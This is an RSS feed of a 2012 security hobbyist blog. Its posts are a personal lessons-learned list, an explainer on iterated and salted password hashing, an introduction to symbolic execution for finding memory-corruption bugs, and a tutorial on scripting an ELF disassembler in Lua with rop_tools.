<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>endeavor</title>
	<atom:link href="http://myw3b.net/blog/index.php/feed/" rel="self" type="application/rss+xml" />
	<link>http://myw3b.net/blog</link>
	<description>pwning the rainbow since... 2010</description>
	<lastBuildDate>Thu, 15 Mar 2012 13:26:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Lessons Learned</title>
		<link>http://myw3b.net/blog/index.php/2012/03/lessons-learned/</link>
		<comments>http://myw3b.net/blog/index.php/2012/03/lessons-learned/#comments</comments>
		<pubDate>Thu, 15 Mar 2012 04:38:59 +0000</pubDate>
		<dc:creator>endeavormac</dc:creator>
				<category><![CDATA[Ideas]]></category>

		<guid isPermaLink="false">http://myw3b.net/blog/?p=651</guid>
		<description><![CDATA[It&#8217;s been a few months since I&#8217;ve posted anything. This is not to mean I have been idle. Indeed, rainbowsandpwnies has launched the haxathon, a challenge-based CTF type event that lasts more than 48 hours. I&#8217;ve begun a rewrite of Rainbows-And-Pwnies-Tools and a symbolic execution engine. To be fair, I&#8217;ve, &#8220;Started,&#8221; the symbolic execution a [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s been a few months since I&#8217;ve posted anything. This is not to mean I have been idle. Indeed, rainbowsandpwnies has launched the <a href="http://haxathon.rainbowsandpwnies.com/">haxathon</a>, a challenge-based CTF type event that lasts more than 48 hours. I&#8217;ve begun a rewrite of Rainbows-And-Pwnies-Tools and a symbolic execution engine. To be fair, I&#8217;ve, &#8220;Started,&#8221; the symbolic execution a good four of five times now. Among other things, here are a few lessons, in no particular order, learnt over the past few months.</p>
<ul>
<li>I should full-disk-encrypt my laptop/netbook hard drives because I will lose them and then worry about what was on them.</li>
<li>I should read the notices that pop up after performing &#8216;pacman -Syu&#8217; in arch linux.</li>
<li>I shouldn&#8217;t plan on reverse autossh-tunneling into a box to finish configuring it because the connection will die as soon as I leave the room.</li>
<li>coroutines != threads</li>
<li>I should make sure my demos work before running them.</li>
<li>If I encourage people to use any legal means necessary to obtain flags for the haxathon, they will learn my schedule and come in to my room when I&#8217;m not there to attack my computers physically.</li>
<li>I should lock my computers when not in the room.</li>
<li>I should make sure I&#8217;m in the terminal for my local machine, and not root on the server with a dozen other people logged in, before typing, &#8220;poweroff.&#8221;</li>
<li>50 lines of HTML is worth more than 500 lines of PHP.</li>
<li>Just because I&#8217;ve rooted the department&#8217;s linux servers does not mean I can kill a hundred errant processes that are sucking up all the CPUs.</li>
<li>Trying to fund awesome is impossible, because awesome people fund themselves.</li>
<li>I should just write my own build scripts and stop wasting time trying to adapt other people&#8217;s build systems to my own projects. Have lua? Good to go.</li>
<li>DNS is <em>everything</em> to Active Directory</li>
<li>Planning on doing LDAP Auth? Actual_Time = Initial_Time * 10.</li>
<li>Ada has multiple packages representing strings. Good luck!</li>
<li>Those who can&#8217;t do are still making policy. Policy making is <em>still</em> a good indicator of technical ability. +</li>
<li>There is a small percentage of people who still add large quantities of value with relatively small amounts of technical knowledge.</li>
<li>If I seek to inspire underclassmen to be more like myself, I should remember that I&#8217;m a self-centered asshole. +</li>
<li>24gb is not enough disk space for my win7 VM. This is three times more than all my linux VMs. 8gb is enough space for my linux VMs.</li>
<li>DOS executables should only, ever, always, under all circumstances, without exception, be debugged in DOS. Use DOSBOX and find something similar to debug.com. This was a very dumb mistake.</li>
<li>I may be able to single-handedly beat a bunch of underclassmen in a CTF, but we&#8217;ll still score better if we work together.</li>
<li>Installing Mac OS X on a macbook without the original install discs is like trying to install Windows 7 on a VAX. Good luck with that.</li>
<li>There is a tendency to think that people who, &#8220;work hard,&#8221; and do well in CS classes will be able to comprehend, manage and accomplish technical tasks despite their relative knowledge in all things technical. Fight this urge. They usually think python is really cool and are interested in learning linux. +</li>
<li>It&#8217;s worth taking the time to explain to someone the reason task X is, &#8220;Easy,&#8221; to you is because you spent three weeks struggling to figure out how to accomplish it two years ago.</li>
<li>Stop trying to do everything in C. No one cares. +</li>
<li>Those who post to reddit.com/r/programming, r/netsec and r/reverseengineering are mere mortals. I&#8217;ve posted there, so obviously we&#8217;re talking falliable people.</li>
</ul>
<p>That seems like enough for now.</p>
]]></content:encoded>
			<wfw:commentRss>http://myw3b.net/blog/index.php/2012/03/lessons-learned/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Let&#8217;s talk more about hashing passwords</title>
		<link>http://myw3b.net/blog/index.php/2011/11/lets-talk-more-about-hashing-passwords/</link>
		<comments>http://myw3b.net/blog/index.php/2011/11/lets-talk-more-about-hashing-passwords/#comments</comments>
		<pubDate>Thu, 03 Nov 2011 22:29:55 +0000</pubDate>
		<dc:creator>endeavormac</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://myw3b.net/blog/?p=623</guid>
		<description><![CDATA[This is in response to an email I recently received (edited a bit for clarity) With our current resources we can test passwords to their hash in fractions of a second allowing for well resourced groups to test thousands of passwords every second. This means, given enough time and resources, you can crack any password [...]]]></description>
			<content:encoded><![CDATA[<p>This is in response to an email I recently received (edited a bit for clarity)</p>
<blockquote><p>With our current resources we can test passwords to their hash in fractions of a second allowing for well resourced groups to test thousands of passwords every second. This means, given enough time and resources, you can crack any password within a reasonable length and as you increase length you increase the likelihood of people resorting to identifiable patterns in order to remember it.</p>
<p>Solution idea (not unique but not used from what I can tell): Use the hashing function 1000 times on the password. The hash is not any more secure but the time to brute force would change from hours to years. <strong>From what I can gather online I heard that multiple hashing creates larger hashes which lead to collisions</strong>. This doesn’t make sense to me because I created the example below and I don’t see how it would lead to a change in collision frequency. I do understand that it would guarantee someone the opportunity to “know” the size of the input and do 999 hashes to find the final but considering the size of the hash and the fact that it still doesn’t give you the original input I fail to see how it would matter. Additionally, if there is something I am missing about the collision frequency increasing could we not add a different salt between each function &#8230; what are your thoughts?</p></blockquote>
<p><span id="more-623"></span><br />
Please read my original post, <a href="http://myw3b.net/blog/index.php/2011/07/lets-talk-about-hashing-passwords/">Let&#8217;s talk about hashing passwords</a>, before reading this post.</p>
<p><strong>What do we accomplish by hashing a password</strong></p>
<p>When we hash a password, we put <em>time</em> between the attacker and the plaintext. For starters, we need an intractible function. For passwords, cryptographic hash functions serve this purpose. An attacker must now guess plaintexts, hash them, and compare ciphertexts.</p>
<p>However, there&#8217;s a problem: Many cryptographic hashes are <em>fast</em>. In fact, cryptographic hashes are designed to be fast. If our goal is to add time between the attacker and the resulting plaintext, we need a way to slow the attacker down.</p>
<p><strong>Rolling the hash</strong></p>
<p>&#8220;Rolling&#8221; the hash is the process described above in the email. This is a commonly accepted method for hashing passwords. It&#8217;s used everywhere from WPA2 PSK keys to Unix crypt(). Why does it work?</p>
<p>With every iteration of the hash, we add additional work the attacker must perform in order to check and verify a plaintext does hash to the desired result, AKA the stored password hash. If we have</p>
<pre class="brush: plain; title: ; notranslate">crypt = hash(plaintext)
for i 1 -&gt; 1000
    crypt = hash(crypt)</pre>
<p>then we have just forced our attacker to hash through 1000 more iterations of our hash function. An attack that originally took days now takes years. Note: you should probably hash(crypt+plaintext), as this is going to make an attack on the resulting hash much more difficult if preimage resistance comes in to play.</p>
<p><strong>Salting the hash</strong></p>
<p>We can attack multiple hashes with the same data. For example, if we only rolled the hash, but we had 1000 password hashes we were trying to attack, we could do the work for one plaintext and verify the result against all of our hashes. We still have to perform the same amount of work per plaintext, but because we can share this work among the hashed passwords our total amount of work per hashed password decreases.</p>
<p>To offset this, we include a salt. The salt is a known and unique (not necessarily random) value which we hash in addition to the plaintext. For example, assume we have three users, and they all use the same password, FuZZy(BunnY)Sl1pp3RS. We would pick three unique salts for each user, perhaps 0&#215;0001 0&#215;0002 0&#215;0003, or 0x2dc4 0x1f8a 0x9c4c. Now their hashes look like this:</p>
<pre class="brush: plain; title: ; notranslate">plaintexts = {&quot;FuZZY(BunnY)Sl1pp3RS,&quot; &quot;FuZZY(BunnY)Sl1pp3RS&quot;, &quot;FuZZY(BunnY)Sl1pp3RS&quot;}
salts = {0x0001, 0x0002, 0x0003}
passwords[0] = salts[0] + hash(salts[0] + plaintexts[0])
passwords[1] = salts[1] + hash(salts[1] + plaintexts[1])
passwords[2] = salts[2] + hash(salts[2] + plaintexts[2])</pre>
<p>Our attacker must now attack each hash by itself, one at a time. We have now added more time between our plaintexts and the attacker.</p>
<p>An example of a salted password in the real world may look like:</p>
<p>$6$9A8d$y/fbCk464oLuGcmCQO1rIoeVf8nnkloi1GysMMi1kYW8yvVMRJJXjC/LZJ2kBMhRDKF76kh5Vl6anRUYuMkbf.</p>
<p>This is a unix crypt password. It follows the following format:</p>
<p>$id$salt$encrypted_password</p>
<p>Where an id of 6 stands for SHA-512, 9A8d is our salt, and the rest is the base64 encoded representation of our sha512 hash.</p>
<p><strong>So how should you implement your password hashing schemes?</strong></p>
<p>If you&#8217;re reading this article, the best answer is find a library implemented by smart crypto people for hashing your passwords. People have messed this process up before, and when password hashing is messed up, the results are pretty disastrous.</p>
]]></content:encoded>
			<wfw:commentRss>http://myw3b.net/blog/index.php/2011/11/lets-talk-more-about-hashing-passwords/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Symbolic Execution for Idiots Like Me</title>
		<link>http://myw3b.net/blog/index.php/2011/10/symbolic-execution-for-idiots-like-me/</link>
		<comments>http://myw3b.net/blog/index.php/2011/10/symbolic-execution-for-idiots-like-me/#comments</comments>
		<pubDate>Wed, 19 Oct 2011 03:18:36 +0000</pubDate>
		<dc:creator>endeavormac</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://myw3b.net/blog/?p=593</guid>
		<description><![CDATA[This post really isn&#8217;t up to the standard of most others here. However, there comes a time when writing anything is better than nothing. I&#8217;m also glazing over a lot of details that would be important in implementing a Symbolic Execution Engine. I am interested in the discovery of memory-corruption vulnerabilities. The two often-used methods [...]]]></description>
			<content:encoded><![CDATA[<p><em>This post really isn&#8217;t up to the standard of most others here. However, there comes a time when writing anything is better than nothing. I&#8217;m also glazing over a lot of details that would be important in implementing a Symbolic Execution Engine.</em></p>
<p>I am interested in the discovery of <a href="http://en.wikipedia.org/wiki/Memory_corruption">memory-corruption</a> vulnerabilities. The two often-used methods for finding these vulnerabilities, <a href="http://en.wikipedia.org/wiki/Fuzz_testing">fuzzing</a> and <a href="http://en.wikipedia.org/wiki/Reverse_engineering">reverse-engineering</a>, are producing <a href="http://carnal0wnage.attackresearch.com/2011/09/my-personal-war-against-overuse-of.html">fewer results, and some people have stopped looking for memory-corruption vulnerabilities altogether</a>. As our mainstream software is coded to higher, and more secure, standards, the identification of these vulnerabilities is becoming harder, and we need new methods to find them.</p>
<p>Enter <a href="http://en.wikipedia.org/wiki/Symbolic_execution">Symbolic Execution</a>. I&#8217;m still learning about this method of vulnerability identification and implementing it into rop_tools (source no longer available), but I thought I would share the basic concepts with you. Know that  a joint effort between UC Berkely, Carnegie Mellon and the College of William and Mary has brought us <a href="http://bitblaze.cs.berkeley.edu/">BitBlaze</a>, an academic pursuit using much of the technology I&#8217;ll be covering.<br />
<span id="more-593"></span><br />
Let&#8217;s start with a simple vulnerability:</p>
<pre class="brush: cpp; title: ; notranslate">int main (int argc, char * argv[])
{
    char buf[16];
    int i;

    for (i = 0; (i &lt; 16) &amp;&amp; (argv[1][i] != '&#92;&#48;'); i++)
        buf[i] = argv[1][i];

    return 0;
}
</pre>
<p>And here&#8217;s gcc&#8217;s output with no optimizations</p>
<pre class="brush: plain; title: ; notranslate">0000000000400494 main:
400494 55..............      push rbp
400495 4889e5..........      mov rbp, rsp
400498 897ddc..........      mov [rbp-0x24], edi
40049b 488975d0........      mov [rbp-0x30], rsi
40049f c745fc00000000..      mov dword [rbp-0x4], 0x0
4004a6 eb23............ /--&lt; jmp main+55 (4004cb)
4004a8 488b45d0........ | /&gt; mov rax, [rbp-0x30]
4004ac 4883c008........ | |  add rax, 0x8
4004b0 488b10.......... | |  mov rdx, [rax]
4004b3 8b45fc.......... | |  mov eax, [rbp-0x4]
4004b6 4898............ | |  cdqe
4004b8 4801d0.......... | |  add rax, rdx
4004bb 0fb610.......... | |  movzx edx, byte [rax]
4004be 8b45fc.......... | |  mov eax, [rbp-0x4]
4004c1 4898............ | |  cdqe
4004c3 885405e0........ | |  mov [rbp+rax-0x20], dl
4004c7 8345fc01........ | |  add dword [rbp-0x4], 0x1
4004cb 837dfc0f........ \-+&gt; cmp dword [rbp-0x4], 0xf
4004cf 7f1a............  /+&lt; jg main+87 (4004eb)
4004d1 488b45d0........  ||  mov rax, [rbp-0x30]
4004d5 4883c008........  ||  add rax, 0x8
4004d9 488b10..........  ||  mov rdx, [rax]
4004dc 8b45fc..........  ||  mov eax, [rbp-0x4]
4004df 4898............  ||  cdqe
4004e1 4801d0..........  ||  add rax, rdx
4004e4 0fb600..........  ||  movzx eax, byte [rax]
4004e7 84c0............  ||  test al, al
4004e9 75bd............  |\&lt; jnz main+20 (4004a8)
4004eb b800000000......  \-&gt; mov eax, 0x0
4004f0 5d..............      pop rbp
4004f1 c3..............      ret
</pre>
<p>If we were to fuzz this executable, we would create several inputs in the hopes that one of these inputs would overwrite some critical location in memory, and that overwrite would cause the application to crash.</p>
<p>In Symbolic Execution we will run our code in a virtualized environment. Instead of using static values for inputs, such as with fuzzing, we will determine which values can change and we will use ranges for those values. For example, the valid values for <strong>argc</strong> are variable. When running your code during fuzzing, you pick a value for <strong>argc</strong>, say 2. With Symbolic Execution, your Symbolic Execution Engine would reason about what values are possible, say 1-255, and would attempt to identify the execution paths possible with this range of values.</p>
<p>For example, we know the string pointed to by <strong>[ebp+0xc]+0&#215;4</strong>, or <strong>argv[1]</strong>, can be ANYTHING up to the length our shell will allow. For me, this is roughly 2^15 bytes, minus some, but for our purposes we&#8217;ll say 10,000.</p>
<p>As we go through our example, we will focus on the instructions that control execution flow:</p>
<pre class="brush: plain; title: ; notranslate">4004a6 eb23............ /--&lt; jmp main+55 (4004cb)
4004cf 7f1a............  /+&lt; jg main+87 (4004eb)
4004e9 75bd............  |\&lt; jnz main+20 (4004a8)
4004f1 c3..............      ret</pre>
<p>We&#8217;re also interested in locations that are VALID destinations to land back into. For the above instructions, they are:</p>
<pre class="brush: plain; title: ; notranslate">4004a8 488b45d0........ | /&gt; mov rax, [rbp-0x30]
4004cb 837dfc0f........ \-+&gt; cmp dword [rbp-0x4], 0xf
4004eb b800000000......  \-&gt; mov eax, 0x0</pre>
<p>And the location in <strong>.text</strong> immediately following the call into main, IE the address held in [ebp+0x4], or the return pointer.</p>
<p>Now we get to the first jump.</p>
<pre class="brush: plain; title: ; notranslate">4004a6 eb23............ /--&lt; jmp main+55 (4004cb)</pre>
<p>This jump is non-conditional, so we aren&#8217;t very concerned with it. We&#8217;re not going to be able to alter the flow of execution based on this JMP.</p>
<p>We skip to the next jump.</p>
<pre class="brush: plain; title: ; notranslate">4004cb 837dfc0f........ \-+&gt; cmp dword [rbp-0x4], 0xf
4004cf 7f1a............  /+&lt; jg main+87 (4004eb)</pre>
<p>This is a conditional jump. We can better express this jump as the following:</p>
<pre class="brush: plain; title: ; notranslate">JUMP(+87, dword [rbp-0x4] &lt;= 0xf)</pre>
<p><em>The BitBlaze team choose to take x86 assembly and reassemble it to a simpler intermediate language. This was a very good idea, as it greatly reduces the complexity of analysis. While we&#8217;re going to glaze over some of the specifics implemented by BitBlaze, we will capture the intent or their intermediate language.</em></p>
<p>This jump is, also, for our-purposes right now, <em>non-conditional</em>, in that the value at [rbp-0x4] is clearly defined. We know exactly what it is at this point in the execution of our program, and can accurately predict where the control of our program will flow to. Let&#8217;s move to the next JMP.</p>
<pre class="brush: plain; title: ; notranslate">4004d1 488b45d0........  ||  mov rax, [rbp-0x30]
4004d5 4883c008........  ||  add rax, 0x8
4004d9 488b10..........  ||  mov rdx, [rax]
4004dc 8b45fc..........  ||  mov eax, [rbp-0x4]
4004df 4898............  ||  cdqe
4004e1 4801d0..........  ||  add rax, rdx
4004e4 0fb600..........  ||  movzx eax, byte [rax]
4004e7 84c0............  ||  test al, al
4004e9 75bd............  |\&lt; jnz main+20 (4004a8)</pre>
<p>This JUMP can be rewritten as:</p>
<pre class="brush: plain; title: ; notranslate">JUMP(+20, 0x00 != byte [[[rbp-0x30]+0x8] + [rbp-0x4]])</pre>
<p>Well, this is the i<em>th</em> byte of our second argument from the command line. This is, for our purposes, <em>conditional</em>, as we do not know the value of that argument (let&#8217;s not go into how we would implement this for now). So what do we do?</p>
<p>We find the range of values that would cause the jump to execute, and the values that would not cause the jump to execute. We then set the memory/variables (where registers are variables) to the <em>range</em> of these values, and we try both flows of execution.</p>
<p>In other words, we create two models of our memory and variables. In one model, we set <strong>byte [[[rbp-0x30]+0&#215;8] + [rbp-0x4]]</strong> to 0, and in the other model, we set <strong>byte [[[rbp-0x30]+0&#215;8] + [rbp-0x4]]</strong> to all possible values other than 0.</p>
<p>Path selection becomes important and will determine how long it takes for your symbolic execution engine to find the memory corruption bug. You can also implement additional checks, such as </strong>ASSERT</strong> that certain values in memory do not change (return address would be a natural first pick).</p>
<p>Assuming we do not implement an ASSERT, which would not catch all memory corruption errors anyway, how would we determine when we have corrupted memory in a manner that corrupts the Instruction Pointer?</p>
<p>When we get to our <strong>ret</strong> instruction, we will rewrite it as:</p>
<pre class="brush: plain; title: ; notranslate">JUMP([rsp], TRUE)</pre>
<p>All values in <strong>[rsp]</strong> must equal the values we determined as valid destinations to land back into. Remember we determined this earlier. Depending on what you&#8217;re looking for, this may be the destination of all calls, jumps, and register jumps (you may do some special tweaking for register jumps in something so as the Procedure Linkage Table), or just addresses in <strong>.text</strong> in general (which may cause you to miss something important!).</p>
<p>As our symbolic execution engine continues to execute, we eventually hit our <strong>ret</strong> instruction where the value of [rsp] is a series of ranges, something like ((0&#215;01-0xff){8}). This would obviously include addresses outside of our approved addresses. We would then raise an exception.</p>
]]></content:encoded>
			<wfw:commentRss>http://myw3b.net/blog/index.php/2011/10/symbolic-execution-for-idiots-like-me/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>rop_tools &#8211; Hack your disassembler</title>
		<link>http://myw3b.net/blog/index.php/2011/10/rop_tools-hack-your-disassembler/</link>
		<comments>http://myw3b.net/blog/index.php/2011/10/rop_tools-hack-your-disassembler/#comments</comments>
		<pubDate>Sun, 02 Oct 2011 01:05:56 +0000</pubDate>
		<dc:creator>endeavormac</dc:creator>
				<category><![CDATA[rop_tools]]></category>

		<guid isPermaLink="false">http://myw3b.net/blog/?p=562</guid>
		<description><![CDATA[A couple weeks ago I posted about rop_tools, a tool for quickly finding a variety of rop gadgets in x86 ELF binaries. Well, I decided rop_tools needed an awesome scripting interface, and a couple of weeks later rop_tools emerged into a pretty powerful tool for scripting elf disassembly. Hacking together a disassembler (we&#8217;re going to [...]]]></description>
			<content:encoded><![CDATA[<p>A couple weeks ago I posted about <a href="https://github.com/endeav0r/rop_tools">rop_tools</a>, a tool for quickly finding a variety of rop gadgets in x86 ELF binaries. Well, I decided rop_tools needed an awesome scripting interface, and a couple of weeks later rop_tools emerged into a pretty powerful tool for scripting elf disassembly. Hacking together a disassembler (we&#8217;re going to refer to the front-end as the disassembler, not the actual &#8220;I&#8217;m making sense of bytes&#8221; library as the disassembler. Yes, I know some of you are having brain aneurysms right now) in an hour isn&#8217;t all that difficult anymore. In fact, I did one tonight. Let&#8217;s take a look at the output first.<br />
<span id="more-562"></span><br />
First, let&#8217;s take a look at how we call lua scripts now:</p>
<p><code>rop_tools -l &lt;script_name&gt; [&lt;lua_argument&gt; ..]</code></p>
<p>And now let&#8217;s take a look at our disassembler&#8217;s, test1.lua, sweet sweet output:</p>
<p><a href="http://myw3b.net/blog/wp-content/uploads/2011/10/test1.lua_.png"><img src="http://myw3b.net/blog/wp-content/uploads/2011/10/test1.lua_.png" alt="" title="test1.lua" width="840" height="532" class="aligncenter size-full wp-image-563" /></a></p>
<p>This disassembles the function dowork in the following executable:</p>
<pre class="brush: cpp; title: ; notranslate">#include &lt;stdio.h&gt;

int dowork ()
{
    char buffer[16];
    int i;

    for (i = 0; i &lt; 10; i++) {
        sprintf(buffer, &quot;%d&quot;, i);
        printf(&quot;%s\n&quot;, buffer);
    }

    return 1;
}

int main (int argc, char * argv[])
{
    return dowork();
}</pre>
<p>Let&#8217;s disassemble this ELF.</p>
<p>First, we&#8217;ll need to open that elf file. Easy enough.</p>
<pre class="brush: lua; title: ; notranslate">elf = elf_t.new(argv[1])</pre>
<p>argv[1] being the first argument passed to our lua program (lua arrays can start at 0, but the convention is 1). argv[1] is set for us by rop_tools. </p>
<p>On to elf_t. The underlying C library (which we won&#8217;t talk about much directly) will detect whether this is a 64 or 32 bit ELF for us automatically and abstract many of the differences away so we can write one disassembler for just ELFs. When we open an elf with elf_t.new(), we can automatically dismiss lots of details. When we disassemble instructions, we don&#8217;t have to worry if we&#8217;re disassembling a 32 or 64 set of instructions, elf_t is going to do that for us. We&#8217;ll see more later, but let&#8217;s move on.</p>
<p>argv[2] holds the name of the function we want to disassemble. Let&#8217;s write some code to grab those instructions for us.</p>
<pre class="brush: lua; title: ; notranslate">instructions = disassemble_function(elf, argv[2])

function disassemble_function (elf, function_name)
    local symtab = elf:section(&quot;.symtab&quot;)
    local symbol = symtab:symbol(function_name)
    local text = elf:section(&quot;.text&quot;)
    local disassembly = text:disassemble()
    local instructions = {}

    for i,instruction in pairs(disassembly) do
        if instruction[&quot;address&quot;] &gt;= symbol:value() and
           instruction[&quot;address&quot;] &lt;  symbol:value() + symbol:size():uint_t() then
            table.insert(instructions, instruction)
        end
    end
    return instructions
end</pre>
<p>Of course, for this to work the function symbol must not be stripped from our binary.</p>
<p>We&#8217;re beginning to see some of the awesomeness shine through. elf:section() allows us to grab a function by name (or index!). Symbol sections allow us to grab symbols by name as well (and index).</p>
<p>So what do we do here? We grab the symbol corresponding to our function from the symbol table &#8220;.symtab&#8221;, disassemble &#8220;.text&#8221;, and add all of the instruction which fall within the bounds of our symbol to another table of instructions, which we return. We don&#8217;t do much error checking here, but assuming we passed a symbol name to a valid function, this will return the instructions for our symbol.</p>
<p>Expect this to be a one liner in future revisions of rop_tools:</p>
<pre class="brush: lua; title: ; notranslate">instructions = elf:section(&quot;.symtab&quot;):symbol(function_name):disassemble()</pre>
<p>There&#8217;s a funny line in there, let&#8217;s take a look:</p>
<pre class="brush: lua; title: ; notranslate">           instruction[&quot;address&quot;] &lt;  symbol:value() + symbol:size():uint_t() then</pre>
<p><code>uint_t()</code>. Remember when we said elf_t was going to abstract much of the 32/64-bit pain away from us? Part of the magic happens in two new lua &#8220;types&#8221;, really &#8220;objects&#8221;, or in lua-speak &#8220;metatables&#8221;. These types are int_t and uint_t. They will allow us to deal with 8, 16, 32 and 64 bit signed and unsigned integers in a very transparently way. Some things we can do with these types:</p>
<ul>
<li>Create new types: <code>int_t.new(size, value)</code> <code>int_t.new(32, 1)</code> <code>uint_t.new(64, 1)</code></li>
<li>Add/subtract/multiple/divide/modolus</li>
<li>Compare against each other</li>
<li>Cast to uint_t() or lua number (integer) <code>int_t.new(32, 1):uint_t():int()</code></li>
<li>Print in &#8220;%d&#8221; format <code>print(int_t.new(32, 1))</code> <code>some_string = "number one: " .. uint_t.new(8, 1):str()</code></li>
<li>Print in %0?x&#8221; format, where ? is the number of bits in the integer. <code>print(uint_t.new(32, 9000):strx())</code></li>
</ul>
<p>Note that for correctness, some actions are forbidden, such as adding uint_t and int_t together, or subtracting a larger (u|)int_t from a smaller (u|)int_t. These should fail and send errors. Most dangerous, comparing uint_t and int_t will always return false <em>but currently doesn&#8217;t fail</em>. This will probably be the first thing fixed after this writing (to always fail).</p>
<p>What elf_t (and child objects such as section_t, symbol_t, or relocation_t) returns will depend on what is defined in the elf format. A few minor &#8220;helper&#8221; functions have been added, such as section:num(). There is no num field in the elf SPEC. Normally, these helper functions will return a Number (lua_pushinteger), or a native lua type.</p>
<p>Once things are more stabilized, the API will be documented. For now, I write out my code. If I do something unsafe, it will fail, and I&#8217;ll know something is wrong. If things don&#8217;t fail, nothing unsafe happened.</p>
<p>It may also be important to add <em>the sign of returned values for 32 and 64 bit ELFs will always be the same, and will default to the sign in the 32 bit ELF spec.</em> For example, the ELF Spec has an Elf32_Word (signed) for Elf32_Shdr.sh_entsize, but a Elf64_Xword (unsigned) for Elf64_Shdr.sh_entsize. Why someone thought this was a good idea evades me (there are no ELF objects even close to 2^31-1 bytes in size), but elf_t will simply return a <em>64-bit signed integer</em> in int_t for you.</p>
<p>Now moving on. You&#8217;ll notice we&#8217;ve highlighted the addresses of local jumps in our output. We&#8217;ll need to locate those jumps first. Let&#8217;s write some code to do that.</p>
<pre class="brush: lua; title: ; notranslate">
function is_jump (mnemonic)
    if mnemonic == &quot;jmp&quot; or
       mnemonic == &quot;jo&quot; or
       mnemonic == &quot;jno&quot; or
       mnemonic == &quot;jb&quot; or
       mnemonic == &quot;jae&quot; or
       mnemonic == &quot;jz&quot; or
       mnemonic == &quot;jnz&quot; or
       mnemonic == &quot;jbe&quot; or
       mnemonic == &quot;ja&quot; or
       mnemonic == &quot;js&quot; or
       mnemonic == &quot;jp&quot; or
       mnemonic == &quot;jnp&quot; or
       mnemonic == &quot;jl&quot; or
       mnemonic == &quot;jge&quot; or
       mnemonic == &quot;jle&quot; or
       mnemonic == &quot;jg&quot; then
        return true
    end
    return false
end

jump_locations = {}
for i, instruction in pairs(instructions) do
    if is_jump(instruction[&quot;mnemonic&quot;]) then
        table.insert(jump_locations, (instruction[&quot;address&quot;]:int_t() +
                                      instruction[&quot;operands&quot;][1][&quot;lval&quot;] +
                                      int_t.new(8, instruction[&quot;size&quot;])):uint_t())
    end
end</pre>
<p>You&#8217;ll notice we do quite a bit of sign swapping here. We also create a new 8-bit integer to hold the size of our instruction (let&#8217;s hope there aren&#8217;t any 128-byte instructions!). What size will the resulting uint_t be? The size of the largest int_t type. IE: for 32-bit ELFs, we&#8217;ll be saving a 32-bit address, and for 64-bit ELFs we&#8217;ll be saving a 64-bit address.</p>
<p>Now it&#8217;s time to print out some instructions.</p>
<pre class="brush: lua; title: ; notranslate">for i,instruction in pairs(instructions) do
    -- is this address one of our jump locations
    address = TERM_COLOR_GREEN .. instruction[&quot;address&quot;]:strx() ..
              TERM_COLOR_DEFAULT
    for i,jump_location in pairs(jump_locations) do
        if jump_location == instruction[&quot;address&quot;] then
            address = TERM_COLOR_CYAN .. TERM_BOLD ..
                      instruction[&quot;address&quot;]:strx() ..
                      TERM_NORMAL .. TERM_COLOR_DEFAULT
            break
        end
    end
</pre>
<p>Here we&#8217;re setting up the address part of our output, highlighting and coloring it as we see appropriate.</p>
<p>Next we determine the text to output for <strong>call</strong> instructions.</p>
<pre class="brush: lua; title: ; notranslate">
    if instruction[&quot;mnemonic&quot;] == &quot;call&quot; then
        instruction = TERM_COLOR_RED .. TERM_BOLD .. instruction[&quot;mnemonic&quot;] ..
                      &quot; &quot; .. relative_offset_description(elf, instruction) ..
                      TERM_NORMAL .. TERM_COLOR_DEFAULT
</pre>
<p>Ahh&#8230; relative_offset_description, a real workhorse. Let&#8217;s take a look.</p>
<pre class="brush: lua; title: ; notranslate">function operand_abs (operand, address, size)
    local absolute = address + uint_t.new(32, size)

    if operand[&quot;lval&quot;]:int() &lt; 0 then
        absolute = absolute - (operand[&quot;lval&quot;] * int_t.new(8, -1)):uint_t()
    else
        absolute = absolute + operand[&quot;lval&quot;]:uint_t()
    end

    return absolute
end

function relative_offset_description (elf, instruction)
    local target_address
    local description = nil

    target_address = operand_abs(instruction[&quot;operands&quot;][1],
                                 instruction[&quot;address&quot;],
                                 instruction[&quot;size&quot;])
</pre>
<p><code>local description</code> will hold the description of this instruction&#8217;s relative offset we will eventually return. <code>local target_address</code> is the target address of this instruction. We&#8217;ve created a function, operand_abs, to get the absolute address of our instruction. You&#8217;ll notice we subtract or add <code>operand["lval"]</code> from <code>absolute</code> in a weird way. An operand&#8217;s lval is an int_t, it is signed. <strong>We do not subtract signed integers from unsigned integers.</strong> This is here to protect you. Is it funkified? A bit. Is it going to save your butt in the long run? You bet your butt it is.</p>
<p>At this point, target_address should hold the target address of our instruction, or where we are calling to.</p>
<p>Next, we&#8217;ll check all of the symbols in &#8220;.symtab&#8221; to see if there&#8217;s a valid function symbol for this call in there.</p>
<pre class="brush: lua; title: ; notranslate">    local symtab = elf:section(&quot;.symtab&quot;)
    for i = 0,symtab:num()-1 do
        local symbol = symtab:symbol(i)
        if symbol:value() &lt;= target_address and
           symbol:value() + symbol:size():uint_t() &gt; target_address then
            description = symbol:name() ..
                          &quot; ( &quot; .. target_address:strx() .. &quot; | &quot; ..
                          tostring(target_address - symbol:value()) .. &quot; )&quot;
            break
        end
    end
</pre>
<p>Some quick notes about this code:</p>
<ul>
<li>symtab:num() (section_t:num()) is one of those &#8220;convenience&#8221; functions that don&#8217;t exist in the ELF Spec, but are just nice to have. It returns a native lua type.</li>
<li>symtab:symbol(N) (section_t:symbol(N)) returns symbols at the address they are found in the ELF, IE they start at 0, not 1 as is the LUA convention for. We only venture so far from the Spec my friends.</li>
</ul>
